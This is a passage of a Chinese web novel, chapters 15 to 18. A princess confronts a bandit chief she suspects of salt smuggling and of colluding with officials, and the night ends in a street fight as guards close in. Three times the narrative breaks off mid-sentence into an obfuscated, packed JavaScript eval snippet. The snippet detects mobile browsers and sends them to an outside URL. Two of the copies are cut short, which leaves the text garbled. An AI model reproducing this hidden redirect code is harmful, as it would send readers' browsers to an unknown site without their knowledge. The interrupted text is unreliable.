“一个狼子野心的匪贼出卖公主,还需要理由吗?” 陆誉瞥了眼酒肆的方向,循循善诱: “公主被他关在寨中,耳目闭塞,不知这红叶寨和那些行事不干不净的小寨不同,背后与伊陵郡不少官员勾结,这才能坐大一方,成为伊陵郡乃至鹤州最大的匪寨!” 仿佛一道惊雷劈过骊珠的脑海,陆誉的声音像是从云端传来,远得不真切。 “他敢与官勾结!?”骊珠怒而拍案。 这一拍,引来了楼下裴照野的注意。 他刚给那间酒肆打烊关门,转过身边瞧见二楼竹帘后的少女不知为何突然起身,她身旁还立着一个小二。 裴照野看不清她的神色,也听不清两人对话。 想了想,他一边用手帕擦拭刚清理过的手,一边冲街边一个小男孩招招手。 “小孩,替我去官署跑一趟。” 他扔给那小孩一吊钱,半弯着腰直视他的眼: “找徐弼徐大人,说四达街的利记酒肆后门,有几块砖松了,让他派几个人过来填填土,事办成了,你再找徐大人要一吊钱,去吧。” 小男孩高高兴兴,小跑着去了。 擦干了手上的水渍,裴照野仍疑心自己身上染上了血腥味。 那个宛郡来的齐大人手底下都是些亡命之徒,即便他处理得小心,也仍不可避免地溅上一点血——好在他一身玄衣,染了血也看不见。 只不过。 经此一事,有些事就得重新分说分说了。 若是寻常的宗室之女离家出走,何须派这种亡命之徒追捕? 可见,追杀她的人,和宛郡来的这伙人,是一路的。 也就是说,从来就没有人打算接她回家,幕后主使压根就不打算让她活着离开伊陵郡。 一个宗室女死在伊陵郡,必得有个冤大头来负责。 这么看,这个冤大头应该就是他了。 一想到自己差点还亲自把刀递到他们手里,裴照野都忍不住想为他们这个一石二鸟的计划鼓掌。 他登上茶寮二楼,撩起竹帘。 三面临风的楼台上,着一身素纱蝉衣的少女正端坐案前。 烟蓝色的腰带将她的腰身束得很细。 再往下,臀侧的线条又如花苞般柔柔地、鼓鼓地撑开,像是朵雾粉色的,将开未开的荷花。 还是朵被人弃养的花。 既然都被人弃养了,能者得之,也是理所应当的吧? 裴照野眸光深深,一撩衣袍,在她对面落座。 再抬头一看,才发现原来更鼓的是她的脸。 “等得这样生气?是个许久未见的朋友,一时聊得热络,忘了时间,我的错,今日你想怎么玩,玩多久,我都奉陪。” “……你还有寨子以外的朋友?” 裴照野给她倒茶,笑道: “我又不是生来就是山匪,自然有山寨外的朋友了。” 骊珠抿着唇,胸口随深呼吸起伏了一下。 她真想扑上去撕烂他那张巧言令色的嘴! 他竟想将她送到覃氏那些追杀她的人手里! 他竟完全不顾她的死活! 这几日朝夕相处,虽然时间不长,但骊珠以为,至少他不讨厌自己,或许,已经开始有一点喜欢她了。 昨夜她说愿意做他的山主夫人,今日说以后要与他一起养狸奴。 他都没有拒绝。 难不成他其实完全没往心里去,只当看笑话似的看待她? 见骊珠久久不语,只怒火中烧地盯着他,裴照野心头有种微妙的异样感。 即便是方才意识到上头有位高权重之人,想要置他于死地,裴照野都并不觉得有什么好怕的。 然而此刻对上她的双眼。 想到今日带她下山,目的本就不纯,就更有种说不出的如芒在背。 长君疯狂地给骊珠使眼色。 骊珠垂下眼,端起茶盏道: “有的人生来舌上有孔,生来就是山匪也没什么奇怪的。” 听到她终于开口,裴照野微僵的肢体松了下来。 “你说这个?” 他俯身凑近了些,指了指自己伸长的舌。 长君也伸头去看。 他其实早就注意到了,只是一直没有机会细看。 舌尖右侧,穿孔留下的伤早已结痂愈合,留下的小孔并不大,银环穿孔而过,只留头尾两粒银珠在外,带着残酷而冰冷的野性。 裴照野收回舌头,挑眉笑道: “我还在想你什么时候会问起,第一次见的人,多少都会好奇。” 骊珠很轻地哼一声,想: 有什么可好奇的,她都亲不知道多少遍了。 “不过,你怎么会觉得它是天生的?天生如此模样,岂不是天残?” 长君也朝骊珠投去疑惑目光。 “确实,娘子,哪儿有人天生舌尖有个洞啊?” 他不说还好,一说骊珠便更生气了。 这天底下除了他自己,还有谁会编这么多谎话来骗她! 从前她就觉得有些奇怪,可他眼都不眨一下,信誓旦旦地说他的舌头生来就这样,骊珠也就信了。 还不敢多问,怕他以为自己嫌弃他而难过。 ……结果这也是骗人的! “不是天生的,那是怎么来的?”骊珠瞪着他。 “很好奇?” 裴照野觉察到她态度松动,撑着下颌,好整以暇地望着她笑,“自然是人为的。” 骊珠轻轻拢起眉头。 她被这话吸引,忍不住伸手捧住他的脸,托着下颌细细端详。 “人为?为何要特意弄这样的东西,平日我不小心咬一下舌头,都疼得要掉眼泪,被这样贯穿,与酷刑有何区别?难道就只为了好看?” 她在脑子里想象那个情景,那双细眉蹙得快要打结,好像被刺舌头的人是她一样。 裴照野垂眸看着她眼中不忍。 好一会儿,他才用玩味笑容掩去眼中复杂,道: “那倒不只如此,此中妙处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931070|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,非得夫妻缱绻之时,方可品到其中滋味……” 长君火速捂住了骊珠的耳朵。 骊珠茫然地啊了一声。 什么滋味? 前世他除了没有戴这个银珠,其他没什么不同,她怎么不知道这个有什么妙处? 裴照野睨了一眼显然知道他在说什么的长君,没再继续说下去,只是发出了一阵醇厚又暧昧的低低笑声。 笑得长君面红耳赤,也笑得骊珠一头雾水。 晚霞从天边烧了起来,一行人离开茶寮,往襄城最大的酒楼里去。 裴照野说,那里人多,也适合打探消息。 他并不知道骊珠已经与陆誉汇合。 之所以没走,并非是骊珠完全信任他。 恰恰相反,骊珠从没有像现在这样,对裴照野浑身上下充满了不信任。 如果他想将自己送走,为何在城门处没有直接揭穿她? 如果他想留下她,今日陆誉又为何会目睹他与宛郡派来的人私下联络? 还有,陆誉说,裴照野与伊陵郡的官员往来密切,互有勾结。 当时时间太紧迫,骊珠没法追问他是从何得出的结论,可这若是真的…… 骊珠盯着前方宽肩窄腰的背影。 她最厌恶的,就是与贪官污吏沆瀣一气,鱼肉百姓,蚕食南雍根基的蛀虫。 她必须弄清楚,真正的裴照野究竟是个怎样的人。 悬了七八排灯笼的气派酒楼近在眼前。 进了酒楼,长君装模作样去打探陆誉的消息,留下骊珠和裴照野点菜。 虽然有陆誉暗中保护,但骊珠仍然心中不安。 既不确定,裴照野今夜还会不会把自己送到覃氏手中。 也不确定,如果事情真的遭到如此地步,他们能不能顺利逃出襄城。 她也就没有点菜的心思。 “……我都可以,你看着办吧。” 裴照野瞥她一眼,微微颔首,点了几道菜式。 然而等上了菜,骊珠突然发现,桌案上,这些菜竟然都是她平日爱吃的。 她略有些诧异地抬头。 如果是前世,她并不意外,可他们才认识没几日,更没一起吃过几次饭。 裴照野答: “之前我让膳夫去问你的小侍卫,你爱吃什么,照着做就是,结果膳夫回来跟我说,好多菜他没听过,也不会做,还好,这间酒楼的膳夫从前在勋爵人家做事,你想吃的菜式,这家能做出来。” 骊珠怔怔看着他。 “尝尝看,”他坐在对面道,“这要是还不合你们雒阳贵人的口味,那我们这种乡下人也就真的黔驴技穷了。” 她哪里在乎什么口腹之欲,寨子里那些粗茶淡饭,她也没挑剔过啊。 她挑剔的是别的东西。 心情复杂的骊珠低头吃了几口。 “挺好吃的。” 裴照野看到她咀嚼了几下,认真点评: “米饭稍次了些,应该只大火蒸了一次,小火蒸了一次,若是能在打散后微火蒸一次会更好。” 吃个米饭这么多步骤。 还蒸三次,熟了不就行了?这得浪费多少柴火? 裴照野一边腹诽,一边默默记下。 “菜呢?” “菜也不错啊,火候得当,食材新鲜,最重要的是——佐料加得很足。” 骊珠又夹了一筷子,确认自己舌头没尝错。 “尤其是盐,别说在这里,就连雒阳有的酒楼,都舍不得放这么多盐,看来此地果然富庶,不仅农人存粮丰厚,就连民间用盐也毫不吝啬。” 裴照野慢吞吞地夹了一筷子菜,蓦然弯出个微妙笑容。 当然了。 鹤州一带最大的盐枭就在这里,又怎么会缺盐呢? 16.第 16 章 骊珠他们在楼上宴饮时,长君挑了一个不起眼的角落,与陆誉另开一桌。 “……什么?宛郡那边竟然称公主平安抵达,并无任何异样?” 长君不敢置信地瞪着陆誉。 陆誉一边同他说话,一边用余光戒备四下。 “没错,我刚刚借口在柜台买酒,与那账房闲扯问出来的,连几时到的渡口,落脚何处,覃家长公子陪同出游,都说得明明白白,消息在宛郡应该人尽皆知。” 长君思索道: “公主说,幕后主使是想将刺杀的罪名扣在红叶寨头上,覃氏如果与此事有关,应该称大张旗鼓的宣扬公主遇刺失踪,撇清关系才对。” 他抬起头,目光里带了几分希冀。 “难道,此事与覃皇后和覃氏无关?” “恰恰相反。” 陆誉脸色阴沉地否决。 他道:“你想,公主遇刺的消息一旦传开,公主只需公开表明身份,谁人敢瞒报?必得恭恭敬敬将人送去官府。可现在,覃氏却说公主在宛郡正与覃氏长公子出游——” “他们这是想断了公主求救的路!” 长君心里咯噔一声,恍然大悟: “可如果公主真有三长两短,对外,那可是在宛郡出的事,他们岂不要担责?” 陆誉沉吟片刻后道: “如果覃氏一边对外称公主平安抵达,对内又往雒阳送信,称公主在伊陵郡失踪,他们正在全力寻人呢?这样,不就能撇清责任了?” 到现在这个地步,幕后之人倒是不难猜了。 有能力布置御船刺杀,又有能力让覃氏配合,还将伊陵郡控制得有如铁桶,连封信都送不到雒阳—— 只有覃皇后了。 如果真如他们猜测的那样,伊陵郡太守与宛郡覃氏联手,布下天罗地网,他就算有陛下的符节,也调不出兵来。 光凭他们几人,如何能带公主平安回到雒阳? 酒楼内笙箫婉转,宴饮欢笑声不断。 两人对面而视,默契不语,心底却是同样的一片凄风苦雨。 长君勉强一笑:“陆大人不是说,派人去向覃氏长公子求援了吗?” 那可是他们公主的未来驸马呢! 陆誉道:“信是送了,然而至今未有回音,若真如传闻,覃氏长公子也在配合覃氏遮掩,恐怕这封信送出去,也是石沉大海。” “……” 长君仍不死心,又道: “红叶寨这位山主,虽然你说他并不清白,但我们进城至今,一切风平浪静,他要真与覃氏勾结,入城时怎么不把公主交出去?今天一整日,还带公主游山玩水,好吃好喝——” “这话可能有点晦气,但是……诏狱犯人斩首前一日,也会给顿好吃的……” “陆大人!知道晦气就别说了!” 陆誉闭上了嘴。 长君早就被他这一通分析吓得脸色惨白,然而心中到底不愿意将事情想得这样糟糕。 他回想前些日子在红叶寨里的一幕幕。 其实,这匪首对他们公主也挺好的? 公主这样的绝色落到他手里,都能忍着不胡来。 有这样的定力和品行,就算落草为寇,也应该有什么内情,又岂会拿着公主去讨好官员…… “诶呦!赵郡丞,赵大人,今儿个怎么有空光临小店!怎么不提前知会一声,膳房好提前采买鲜货——” 小二态度极殷勤地迎上入内的一行七八人。 一听有官员到访,长君和陆誉同时低头,在角落里不敢多言半句,生怕引起旁人注意。 被称作赵郡丞的男子肚大腿短,生得像只胖头鱼。 在众人簇拥之下,他慢悠悠往楼上去。 “不必兴师动众,这几日官署事多,得空小聚而已……哟,你们楼内生意倒是好,上头的雅席竟不得空?” 小二一听这话,冒了一脑门的汗,声音压低了些道: “那上头是红叶寨的山主,他来了,自然得坐店里最上等的雅席,您看,这……” “原来是裴山主,”胖头鱼的声音顿时和缓几分,“他自然坐得,正好,去打个招呼。” “诶呦赵大人,实在不巧,今日那位山主特地吩咐过,叫任何人不得打扰,实在是……” “他架子倒大,那便罢了,我们自吃我们的。” 小二闻言顿时笑逐颜开,陪着笑脸送客去另一间雅席。 跟在胖头鱼后面的几个小官交头接耳: “什么山主?谁啊?连郡丞大人都礼让三分,好大的面子?” “跟盐沾边的人物,面子能不大吗?” “小声点,你我这等微末小官,这都不是我们该问的事儿。” 一众人压低声音从楼梯一路向上。 楼梯下,将这番对话听得一清二楚的两人面面相觑。 郡丞,那是一郡太守的佐官,对一个跟盐沾边的匪贼礼遇有加,见了他还要主动去打招呼。 这伊陵郡到底是个什么黑透了的鬼地方? 长君简直眼前一黑。 片刻后,他举起耳杯,对陆誉道: “共事一场,陆大人,别的不说了,下辈子若有缘分,你我再做同僚。” “……” 陆誉沉默碰杯。 长君起身,心情悲壮地楼上走去。 离着不远不近的距离,一男一女对面而坐,远远瞧着,竟像一对般配恩爱的少年夫妻。 卿本好人,奈何做贼啊! 谁能想到,这样一个瞧着不过弱冠年纪的俊秀郎君,居然背地里敢做抄家灭门都不为过的生意! 长君恨不得立刻将这个消息告诉骊珠。 然而刚一进去,就见他家公主正笑盈盈问那盐枭: “——既然你与这里的掌柜熟识,待会儿我们离开时,我能不能去账房问问,此地盐价几何?又是哪家盐商?” 听了这话,长君只觉头发丝都要炸起来了。 公主!这可不兴问啊! 裴照野握着竹著的手一顿,很自然地答道: “这也是你父亲平日关心的事?” 骊珠想,这话倒也没说错,他父皇炼丹修道缺钱的时候,的确很关心盐价。 “我从前听说,前年开始,为供皇帝开支,各地盐商都提高了盐税,少则两成,多则三成,有贫苦百姓买不起盐,竟终年不食盐。” 骊珠认真道: “此地酒楼用盐奢侈,除了本身百姓富裕外,应该也和盐商有关,不知他是如何平衡上缴国库的银税和商店盐价……” 裴照野本想将这个话题糊弄过去。 然而想到他已经起意要将这小娘子留下来,红叶寨所做之事,她迟早会知道。 裴照野有心探探她的态度,便索性直言。 “他能平衡个鸟蛋。”裴照野微笑道,“狗皇帝三年提两次盐税,天王老子来了他也平衡不了。” 骊珠愤怒拍桌:“……你!” 他敢骂她爹是狗! 长君也大怒,这人果然是狼子野心,竟敢对陛下如此大不敬! “怎么?” 裴照野有些奇怪地瞧着他俩,挑眉。 “这么生气,你与皇帝有交情?” “……没有,”骊珠不好暴露身份,只道,“你接着说,但不许说粗话。” 裴照野意味深长地瞥她一眼,继续说:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934958|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “官府从盐户收盐,每斗不过十文,到盐商手里,便要卖三百文,等运到盐店,挂牌卖给百姓,就变成了六百文,寻常耕种百姓辛苦一年才挣得多少?几个人吃得起官府的盐?鹤州水路通畅,又有盐池之便……” “岂有此理!” 骊珠骤然拔高声音,愤然起身: “竟有人狗胆包天,敢贩卖私盐!他的九族不想要了吗!” 裴照野:“……” 一旁的长君脑子轰然一声,几乎快晕过去。 完了。 这下彻底完了。 就算之前这匪首对公主没有杀心,现下说完这番话,公主也是凶多吉少了。 一壁之隔的隔间。 众人刚刚落座不久,正斟酒闲谈,说起官署近日受宛郡太守所托,正满城搜寻一名逃婚至伊陵郡的高门女子。 突然就听到隔壁传来的这句“狗胆包天”“贩卖私盐”。 隔间内霎时安静了下来。 有意思,谁胆子那么大,敢当着一地盐枭的面,斥责他贩私盐? “娘、娘子,您是不是吃醉酒了……” 长君嗓音发颤,试图阻拦。 骊珠此刻却正在气头上,无暇观察长君的眼色。 “我都没饮酒,怎么会醉,我是生气!” “生气成这样,”裴照野斟了一盏酒,“你就这么讨厌贩私盐的人?” “当然!” 骊珠从食案前踱步到他身边,跪坐着平视他的双眼。 “私盐利润极大,落入诸侯的钱袋,反心必生!落入地方豪强的钱袋,必将助长势力,压迫百姓!” “更重要的是,若人人都买私盐,一旦北越再起战事,南雍国库不足,边境军士的军饷从何处来?没有粮草,没有军饷,便只能用一条条人命去生抗,要多少人命,才拦得住北越的铁蹄?” 裴照野静静看着她眸中跳动的火光。 说来也奇怪。 此刻这小娘子分明算是指着他的鼻子在骂。 可不知为何,裴照野在她的眼中却看不到半点厌恶,反而有一种奇怪的……悲悯与怒意? 她为什么会露出这样的眼神? 是谁在边境? 是谁在为南雍而战? 让她如此牵挂,如此忧心。 好像一旦有人阻拦了那个人,她便恨不得活吃了对方似的。 裴照野心头泛起一股莫名的滋味,像有小虫在轻轻啃噬他的心脏,他想扯出个无所谓的表情,然而唇角凝冻,面色竟是僵住了。 好一会儿,他才道: “……如果是我呢?” 满面肃然的骊珠愣了一下,有些不太明白他的意思。 “什么?” “我说,”他俯身,与她面庞一寸之隔,浓黑眼眸幽深不见底,“如果我也狗胆包天,运贩私盐,你会如何?” 长君跪坐暗处,五指已经握紧了剑柄。 骊珠眨眨眼,长睫如蝶翼忽闪,眼底清晰倒映着男子锋利而英俊的轮廓。 她想象不出他和这种事扯上关系。 但她知道,他会在明知国库亏空,粮草恐有不济的情况下毅然出战。 他敢孤身面对群狼环伺的朝堂,大胆触动外戚宦党的利益。 哪怕到了生命的最后一刻,他死也会死在收复北地十一州的路途中,不屑和那些养尊处优的贵族高官一样,对敌人屈膝投降。 一个人的口舌会说谎。 可他的心不会说谎,做过的事也不会说谎。 烛光下,那张朝晖春露般的娇靥望着他,徐徐绽出一个笑: “你跟他们不一样,你又不是坏人,你是大英雄啊。” 17.第 17 章 裴照野短不过十九岁的人生里,有许多人评价过他。 有人说他是野种,有人骂他是与贪官污吏沆瀣一气的贼骨头,即便是红叶寨那些跟随他的弟兄,也视他为枭雄而非什么大英雄。 他这辈子都没想过,有人会将这三个字,跟他放在一起。 裴照野很想从她的脸上看出点巧言令色的痕迹。 然而并没有。 那种澄澈真挚的目光,就算望着的是个十恶不赦的罪人,也能让人恍惚有种自己大概、或许、可能……还没那么坏的错觉。 可他原本就是个无法无天的匪贼。 贩运私盐,落草为寇,在伊陵郡这些官员之间周旋往来,博取利益。 这肯定不算好。 但算坏吗?坏到何种程度? 自他落地来到这世上,从没有以仁义道德为标准思考过问题。 他只图生存,要活得更久,活得更像个人样,哪怕去撕咬,去杀人,他都毫不犹豫。 他没觉得这有什么不对,也从不以此为耻。 那他为什么还会因她的这句话而沾沾自喜,心如沸水一样不受控制地翻涌起来? 裴照野望着她在灯烛下泛着珠晕的光洁面庞,一时觉得可憎。 谁准她擅自揣度他,把他架上不属于他、他也从未妄想过的位置? 然而下一刻,又不免觉得可爱。 因为无论他如何否认,如何抗拒。 被人视为英雄,用这样真挚不加矫饰的目光所注视,都会有种自尊心无限膨胀的飘飘然。 这不行。 岂能由她一句话便将他心思搅得一团乱麻? 裴照野的视线从她的眼,掠过花瓣般的唇,最后落在她霜白纤细的脖颈上。 他可不打算扮什么英雄。 他就是个无耻匪贼,贼心贼胆贼骨头,但即便如此,由不得她愿不愿意,她也已经归他所有了。 垂在菖蒲坐席上的手指动了动。 一旁屏气凝神的长君满头虚汗,紧盯着那只有了些许异动的手。 刀剑有细微的出鞘声。 骊珠感觉到此刻内室气氛有些古怪,但却不理解这暗流涌动的凝重感从何而来。 她说错什么了? 她眼帘微垂,看着那只快要触碰到她,又不知为何突然停在脖颈前的手。 裴照野视线微移,朝门边看去。 隔壁有脚步声靠近。 他正欲警戒,然而只是一个分神,他的手腕便突然被人握住,往前一拉,掌心顿时贴上了一张软糯细腻的面颊。 裴照野倏然收回视线,错愕对上骊珠那副坦然直白的模样。 她眨了眨,仿佛在说—— 要摸就摸啊,磨磨蹭蹭干什么呢? 长君手里的剑抖了一下,下一刻,身后小门突然被人推开。 “大胆民女!竟然妄议盐政!” 骊珠被这一嗓门吓了一大跳,毫不犹豫地膝行到裴照野身后躲好。 天塌下来他顶着。 再定睛细看,门口四五人,尽管内室灯烛不够亮,但几人俱是衣着不凡,不似寻常百姓。 裴照野凝神盯着他们的脸,从中隐约辨认出一张熟悉面孔。 似乎……是伊陵郡丞手底下的人。 长君凛然质问:“尔等何人!” 瘦高男子厉声道: “放肆!这里还轮不到你们问话,你们只管答!那个女子,刚刚就是你在妖言惑众,造谣生事?” 躲在阴影下的骊珠,被这番话质问得一头雾水。 “我……我何时造谣生事……” “还敢狡辩,刚才你一口一个贩卖私盐,还危言耸听,什么反心必生,压迫百姓,我们伊陵郡朗朗乾坤,政清人和,何来什么私盐盛行!你这不是造谣是什么!” 听他说了这一长串,长君突然辨认出这声音。 方才在楼梯那里,就是这人说了句“跟盐沾边的人物,面子能不大吗”。 长君的目光在他和裴照野之间打了个来回。 此人分明知道这山主干的什么勾当,简直是在睁眼说瞎话啊! 那瘦高男子说完也瞧了眼倚着凭几的裴照野。 虽说传闻早就说过这位山主是极年轻的,但亲眼见到,还是让他有些讶异。 能攀上这等人物的机会不多。 顺手替他扫清一个不长眼的女子,卖个小小人情,举手之劳的事。 一屋子的人各有心思。 唯有骊珠,既不知晓裴照野的身份,也不知眼前这几人是想攀附裴照野。 她愣了一会儿,回过神来愤然道: “私盐盛行又不是我说的!怎么只说我造谣,不说他造谣?” 瘦高男子暗暗冷哼,无知女子,还不明白状况呢。 “我们没听见旁人说,就听见你在说了!” 骊珠被对方这副无赖模样气得七窍生烟,简直想扑过去抓烂他的脸! 她有心争辩,可转念一想,以她和裴照野现在的处境,出门在外,还是低调为好,不要与人起冲突。 骊珠的气焰顿时熄了七八分,只咬着后槽牙,窝窝囊囊道: “……那就算我说的,我道歉行了吧。” “道歉?恐怕事情没那么简……” “道什么歉,说的都是实话。” 裴照野好整以暇,瞧着骤然愣住的几人,坦然笑道: “咱们伊陵乃至鹤州,可不就是私盐盛行?” 瘦高男子:“……” 这位山主几个意思? 忽而间,一只手臂从骊珠后腰绕过,男子手掌宽大,落在她腰窝处,轻易便可覆住她半边腰身。 稍一用力,满脸讶色的骊珠撞入他炽热怀中。 她抬眸,看向他笑意戏谑的侧脸。 “不仅私盐盛行,最重要的是,私盐盛行的下一步就是官商勾结,暗中输送,贪污贿赂,无法无天,这些运贩私盐的贼人,做的简直就是动摇国本的勾当,有什么不能说的?” 骊珠在他怀中点头。 没错没错。 全是实话!有什么不能说的? 对面的几人面面相觑。 这……玩他们呢? 压根就没有什么不长眼的女子跑到盐枭面前正义直言,两人一唱一和,这山主吃饱了撑的,跟这女子玩儿情.趣呢! 隔间传来一个似笑非笑的声音。 “我就说你们多事,打扰了人家裴山主的兴致,还杵在那儿做什么,赶紧跟裴山主赔个罪再回来。” 裴照野垂眸看着杯中酒液。 赵维真果然也在这里。 骊珠闻言,眼睫微颤,从他怀里抽身坐直。 这些人竟然认识他? 那他们方才,为何要突然向她发难? 是想替谁出气? 骊珠望向身旁男子的眸色微变。 这几人有机灵的,已经从隔间取了酒壶耳杯,讪笑着,朝裴照野躬身敬酒。 他也没推辞,微微笑着饮了酒,又对隔壁道: “郡丞言重了,今日不巧,占了郡丞平日的席位,本该是我来向您赔罪才是。” 赵维真:“这是哪里的话,先来后到,哪儿有占不占的,山主自便即可。” “郡丞对下亲睦,我们却不能无礼,这膳也用得差不多了,长君,下去叫人上来清理,给郡丞大人腾位置——我们就先告辞了。” 语罢,裴照野没去看骊珠充满怀疑的目光,轻佻地拍了拍她的腰,示意她走前面。 骊珠扫过内室纷杂视线,未发一语。 在暗处戴好帷帽,她转过身,走到灯烛明亮的地方。 “劳驾。” 少女嗓音清灵,满身萦绕着淡淡馨香。 众人让了道,目光却随她身影而动,几欲穿过帷帽,窥探底下真容。 裴照野跟在她身后。 不知有意无意,路过时肩头与那看痴了的一人相撞,差点将人撞得一个趔趄倒地。 “裴山主。” 走到楼梯边缘,赵维真从隔间内挑帘而出。 “倒是难得见你身边带着女眷,既如此,下次宴饮,可就不许推辞了。” 裴照野下意识朝骊珠的背影瞥去一眼。 他笑着应了声。 待几人离去,这几名官员中才有人上前道: “偏偏在这个关头上,裴照野身边突然冒出一个女子,郡丞大人,您看,会不会是……” 想到方才他们所谈的话题,赵维真捻了捻胡须。 “立刻派人跟太守报备一声,同时去叫徐弼徐都尉,让他赶紧调人,绝不能放他们出襄城!” “是!” 楼上人行动的同时,楼下的骊珠也加快了脚步,一路从快走变成了小跑。 “快快快长君走快点,别回头看了!” 夜色渐深,襄城长街上行人寥寥。 玄衣劲装的男子就跟在他们身后不远不近的距离,笑吟吟望着少女的背影。 长君收回视线,有些不太明白状况地问: “娘子,咱们这是要往哪儿去?还有,您不等山主……” 骊珠脚步一顿。 “你应该问他!”她深吸一口气,猛地转过头,怒目而视,“我们还能去哪儿?裴照野,你告诉我。” 月照长街,青石路面泛着幽蓝色。 这还是她第一次连名带姓唤她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945250|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 裴照野在她的怒容上望见一点盈盈泪光。 他漫不经心道: “不是要留下来看一晚百戏,再回虞山?你又改主意了?” “是吗?”骊珠上前几步,盯着他的眼道,“是回虞山,还是回伊陵郡的官署?” 裴照野失笑: “你觉得呢?你那么聪明,听几句话风就能猜出来情况不妙,难道想不明白,如果我真要把你送去官署交差,早在城门那儿就把你交出去了,何须陪你东奔西走一整天,你说话可得讲讲良心。” 骊珠噙着泪不吭声。 长君见缝插针:“娘子休要轻信,陆誉说了,诏狱的犯人砍头前还得吃顿好的呢!” 裴照野眸色冷淡地扫他一眼。 骊珠此刻心头一团乱麻。 她其实心中也明白,白日在城门处,还有刚刚在那赵郡丞面前,他要出卖她早就出卖了,但他并没有。 可是,可是—— 他怎能真如陆誉所说,和那些官员走得那么近? 哪个好官会和匪贼往来密切,时常宴饮? 他和官员们频繁交际,平日谈论的又是什么? 前世,他时常枕在她膝上,说起朝堂上哪个臣子与他对着干,又是哪家的党羽给他使绊子。 骊珠每每听到,都格外怜惜他,有时在床笫之间,也因此对他多有纵容。 然而今天却突然发现。 他哪里应付不来这些官员? 他都能以匪贼身份与一个仅次于太守的郡丞平起平坐,相谈甚欢,明明就很长袖善舞,游刃有余啊! “你……”骊珠吸了吸鼻子,刚要开口。 突然,她一抬头,瞧见夜色下掠过一道身影,正朝裴照野的背影袭去—— “等等!” 骊珠一眼就认出了那是陆誉。 陆誉的武艺,她在船上就已经有所耳闻,听说是执金吾中一等一的猛将,满雒阳都难逢敌手。 来不及多思考,骊珠扑向裴照野,将他护在怀中: “陆誉!别伤他!” 被骊珠扑了个满怀的裴照野浑身一僵,下意识地揽住了她。 垂下眼帘,那双眼前一刻还满是愤怒与警戒,可当危险来临时,又只剩下真切的担忧。 她紧紧攥着他的衣襟。 好像生怕她一松手,他就真的死掉了一样。 举刀而来的身影顿住,随即拧起眉头道: “公……娘子,我方才在屋顶瞧见南街有两队卫士正朝这边赶来,再不走就真的死路一条了!” “什么?”骊珠一听这话,无暇多思,立刻道:“好,我跟你走!” 然而话音刚落,长街尽头已有无数脚步声从四面八方响起,正驱赶着百姓,步步逼近。 长君与陆誉顿时心底一片寒凉。 这里起码有四五百卫兵,凭他们几人,就算加上暗处的其他二十余人,也一样逃不掉的。 “沈骊珠。” 泪眼婆娑的骊珠回过头,正对上一张笑吟吟的俊脸。 “再信我一次?” ……什么意思? 骊珠茫然之际,一只宽厚大手在她头顶揉了揉,随即直起身。 裴照野对前面的陆誉道: “方才不是要偷袭我吗?继续吧。” 陆誉正戒备着渐渐靠近的那些卫兵,闻言莫名其妙地侧头瞥去,谁料瞥见的却是一记迅疾袭来的拳头。 “你——!” 猝不及防接了招,陆誉沉了脸。 “你果然跟他们是一伙的。” 裴照野笑而不语。 骊珠不明白外敌当前,这两人怎么突然打起来了,她抓着长君: “长君!你快去拦一下,就非得这时候内讧吗!” 又急忙告诫陆誉: “陆誉!你手下留情!你别真的把他打伤打死了!听见没有!” 陆誉虽然早对此人一肚子火,但骊珠的吩咐他不敢违背,只道: “明白,我会给他留……” 话还未说完。 骊珠眼睁睁看着她那个素来手无缚鸡之力、自称自己只懂理论不懂实战、连喝药都要她喂蜜饯的文弱夫君,将执金吾中一等一的好手,一拳砸进了路边的小摊里。 轰隆——! 尘土飞扬,衣袂微动。 玄衣劲装的男子缓缓收回手,除了发间细辫上缀着的那枚赤金环扣摇了摇,从容得仿佛不废吹灰之力。 他微微侧头,望着骊珠挑眉笑道: “现在不用总是担心我会死了吧?” “……” 骊珠想,确实不担心了。 她现在更想亲自一巴掌抽死他。 18.第 18 章 “你这贼厮,将我们娘子骗得好惨!!” 长君一见陆誉竟被一拳撂倒,当下就知道今日逃生无望。 索性豁出这条性命,能杀一个是一个,也算替公主出口恶气! “长君!” 小宦官提剑便砍,骊珠竟是拦都无从拦起,一眨眼的功夫,长君便与那道玄色身影打得难分彼此。 砸坏的小摊处,陆誉很快起身,啐了一口血沫,眼中已然杀意腾腾。 “公主,今日怕是你死我活,顾不得许多了。” 骊珠眼睁睁看着这二人向裴照野合围杀去,阻拦的话卡在喉间,纵然骊珠焦急万分,也再难开口。 她能说什么? 她能拦着陆誉和长君让他们束手就擒? 这不可能,她也没有任何站得住脚的理由说服他们。 骊珠朝长街左右望去。 举着火把的重重身影,正前后夹击而来。 再看前方,裴照野夺了陆誉的长刀后,游走于两人合攻之间,竟然有来有往,并不落下风。 骊珠浑身力道一松,彻底放弃抵抗时,心竟然反而安静得出奇。 